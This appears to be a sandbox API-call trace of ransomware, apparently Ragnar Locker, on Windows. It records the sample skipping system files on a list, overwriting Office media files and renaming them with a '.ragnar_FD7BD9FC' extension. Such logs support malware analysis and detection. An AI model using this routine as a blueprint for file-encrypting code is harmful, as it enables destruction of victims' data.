lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.975] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0297749.WMF" | out: lpString1="J0297749.WMF") returned="J0297749.WMF" [0095.975] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF") returned=".WMF" [0095.975] lstrcmpiW (lpString1="J0297749.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.975] lstrcmpiW (lpString1="J0297749.WMF", lpString2="autorun.inf") returned 1 [0095.975] lstrcmpiW (lpString1="J0297749.WMF", lpString2="boot.ini") returned 1 [0095.975] lstrcmpiW (lpString1="J0297749.WMF", lpString2="bootfont.bin") returned 1 [0095.975] lstrcmpiW (lpString1="J0297749.WMF", lpString2="bootsect.bak") returned 1 [0095.975] lstrcmpiW (lpString1="J0297749.WMF", lpString2="bootmgr") returned 1 [0095.975] lstrcmpiW (lpString1="J0297749.WMF", lpString2="bootmgr.efi") returned 1 [0095.975] lstrcmpiW (lpString1="J0297749.WMF", lpString2="bootmgfw.efi") returned 1 [0095.975] lstrcmpiW (lpString1="J0297749.WMF", lpString2="desktop.ini") returned 1 [0095.975] lstrcmpiW (lpString1="J0297749.WMF", lpString2="iconcache.db") returned 1 [0095.975] lstrcmpiW (lpString1="J0297749.WMF", lpString2="ntldr") returned -1 [0095.975] lstrcmpiW (lpString1="J0297749.WMF", lpString2="ntuser.dat") returned -1 [0095.975] lstrcmpiW (lpString1="J0297749.WMF", lpString2="ntuser.dat.log") returned -1 [0095.975] lstrcmpiW (lpString1="J0297749.WMF", lpString2="ntuser.ini") returned -1 [0095.975] lstrcmpiW (lpString1="J0297749.WMF", lpString2="thumbs.db") returned -1 [0095.975] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.975] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.975] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.975] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.975] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.975] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.975] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf")) returned 0x20 [0095.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.976] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10170) returned 1 [0095.976] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x27b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.976] GetProcessHeap () returned 0x580000 [0095.976] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.976] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.978] VirtualAlloc (lpAddress=0x0, dwSize=0x27ba, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.978] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.978] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.978] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x27ba, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x27ba, lpOverlapped=0x0) returned 1 [0095.979] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.979] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x27ba, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.979] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x27ba, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x27ba, lpOverlapped=0x0) returned 1 [0095.979] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x27ba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.979] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.980] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x27ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.980] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.980] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.980] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.980] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.980] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.980] GetProcessHeap () returned 0x580000 [0095.980] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.980] CloseHandle (hObject=0x104) returned 1 [0095.980] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" [0095.980] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF.ragnar_FD7BD9FC" [0095.980] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297749.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297749.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.981] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3dea00, ftCreationTime.dwHighDateTime=0x1bf2c8c, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xae3dea00, ftLastWriteTime.dwHighDateTime=0x1bf2c8c, nFileSizeHigh=0x0, nFileSizeLow=0x197e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298653.WMF", cAlternateFileName="")) returned 1 [0095.981] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.981] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0298653.WMF" | out: lpString1="J0298653.WMF") returned="J0298653.WMF" [0095.981] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF") returned=".WMF" [0095.981] lstrcmpiW (lpString1="J0298653.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.981] lstrcmpiW (lpString1="J0298653.WMF", lpString2="autorun.inf") returned 1 [0095.981] lstrcmpiW (lpString1="J0298653.WMF", lpString2="boot.ini") returned 1 [0095.981] lstrcmpiW (lpString1="J0298653.WMF", lpString2="bootfont.bin") returned 1 [0095.981] lstrcmpiW (lpString1="J0298653.WMF", lpString2="bootsect.bak") returned 1 [0095.981] lstrcmpiW (lpString1="J0298653.WMF", lpString2="bootmgr") returned 1 [0095.981] lstrcmpiW (lpString1="J0298653.WMF", lpString2="bootmgr.efi") returned 1 [0095.981] lstrcmpiW (lpString1="J0298653.WMF", lpString2="bootmgfw.efi") returned 1 [0095.981] lstrcmpiW (lpString1="J0298653.WMF", lpString2="desktop.ini") returned 1 [0095.981] lstrcmpiW (lpString1="J0298653.WMF", lpString2="iconcache.db") returned 1 [0095.981] lstrcmpiW (lpString1="J0298653.WMF", lpString2="ntldr") returned -1 [0095.981] lstrcmpiW (lpString1="J0298653.WMF", lpString2="ntuser.dat") returned -1 [0095.981] lstrcmpiW (lpString1="J0298653.WMF", lpString2="ntuser.dat.log") returned -1 [0095.981] lstrcmpiW (lpString1="J0298653.WMF", lpString2="ntuser.ini") returned -1 [0095.981] lstrcmpiW (lpString1="J0298653.WMF", lpString2="thumbs.db") returned -1 [0095.981] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.981] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.981] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.981] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.981] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.982] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.982] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf")) returned 0x20 [0095.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.982] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6526) returned 1 [0095.982] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1975, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.982] GetProcessHeap () returned 0x580000 [0095.982] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.982] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.984] VirtualAlloc (lpAddress=0x0, dwSize=0x197e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.984] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.984] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.984] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x197e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x197e, lpOverlapped=0x0) returned 1 [0095.985] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.985] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x197e, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.985] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x197e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x197e, lpOverlapped=0x0) returned 1 [0095.985] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x197e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.985] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.985] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x197e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.985] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.985] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.985] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.985] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.985] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.986] GetProcessHeap () returned 0x580000 [0095.986] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.986] CloseHandle (hObject=0x104) returned 1 [0095.986] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" [0095.986] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF.ragnar_FD7BD9FC" [0095.986] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298653.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298653.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.986] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcbb900, ftCreationTime.dwHighDateTime=0x1bf2c8d, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2dcbb900, ftLastWriteTime.dwHighDateTime=0x1bf2c8d, nFileSizeHigh=0x0, nFileSizeLow=0x19a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298897.WMF", cAlternateFileName="")) returned 1 [0095.986] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.986] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0298897.WMF" | out: lpString1="J0298897.WMF") returned="J0298897.WMF" [0095.986] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF") returned=".WMF" [0095.986] lstrcmpiW (lpString1="J0298897.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.987] lstrcmpiW (lpString1="J0298897.WMF", lpString2="autorun.inf") returned 1 [0095.987] lstrcmpiW (lpString1="J0298897.WMF", lpString2="boot.ini") returned 1 [0095.987] lstrcmpiW (lpString1="J0298897.WMF", lpString2="bootfont.bin") returned 1 [0095.987] lstrcmpiW (lpString1="J0298897.WMF", lpString2="bootsect.bak") returned 1 [0095.987] lstrcmpiW (lpString1="J0298897.WMF", lpString2="bootmgr") returned 1 [0095.987] lstrcmpiW (lpString1="J0298897.WMF", lpString2="bootmgr.efi") returned 1 [0095.987] lstrcmpiW (lpString1="J0298897.WMF", lpString2="bootmgfw.efi") returned 1 [0095.987] lstrcmpiW (lpString1="J0298897.WMF", lpString2="desktop.ini") returned 1 [0095.987] lstrcmpiW (lpString1="J0298897.WMF", lpString2="iconcache.db") returned 1 [0095.987] lstrcmpiW (lpString1="J0298897.WMF", lpString2="ntldr") returned -1 [0095.987] lstrcmpiW (lpString1="J0298897.WMF", lpString2="ntuser.dat") returned -1 [0095.987] lstrcmpiW (lpString1="J0298897.WMF", lpString2="ntuser.dat.log") returned -1 [0095.987] lstrcmpiW (lpString1="J0298897.WMF", lpString2="ntuser.ini") returned -1 [0095.987] lstrcmpiW (lpString1="J0298897.WMF", lpString2="thumbs.db") returned -1 [0095.987] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.987] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.987] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.987] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.987] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.987] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.987] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf")) returned 0x20 [0095.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.988] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6566) returned 1 [0095.988] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x199d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.988] GetProcessHeap () returned 0x580000 [0095.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.988] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.990] VirtualAlloc (lpAddress=0x0, dwSize=0x19a6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.990] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.990] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.990] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x19a6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x19a6, lpOverlapped=0x0) returned 1 [0095.992] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.992] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19a6, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.992] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x19a6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x19a6, lpOverlapped=0x0) returned 1 [0095.992] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19a6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.992] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.992] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x19a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.992] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.992] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.993] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.993] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.993] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.993] GetProcessHeap () returned 0x580000 [0095.993] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.993] CloseHandle (hObject=0x104) returned 1 [0095.993] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" [0095.993] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF.ragnar_FD7BD9FC" [0095.993] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.994] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fa3200, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15fa3200, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x163c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299125.WMF", cAlternateFileName="")) returned 1 [0095.994] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.994] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0299125.WMF" | out: lpString1="J0299125.WMF") returned="J0299125.WMF" [0095.994] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF") returned=".WMF" [0095.994] lstrcmpiW (lpString1="J0299125.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.994] lstrcmpiW (lpString1="J0299125.WMF", lpString2="autorun.inf") returned 1 [0095.994] lstrcmpiW (lpString1="J0299125.WMF", lpString2="boot.ini") returned 1 [0095.994] lstrcmpiW (lpString1="J0299125.WMF", lpString2="bootfont.bin") returned 1 [0095.994] lstrcmpiW (lpString1="J0299125.WMF", lpString2="bootsect.bak") returned 1 [0095.994] lstrcmpiW (lpString1="J0299125.WMF", lpString2="bootmgr") returned 1 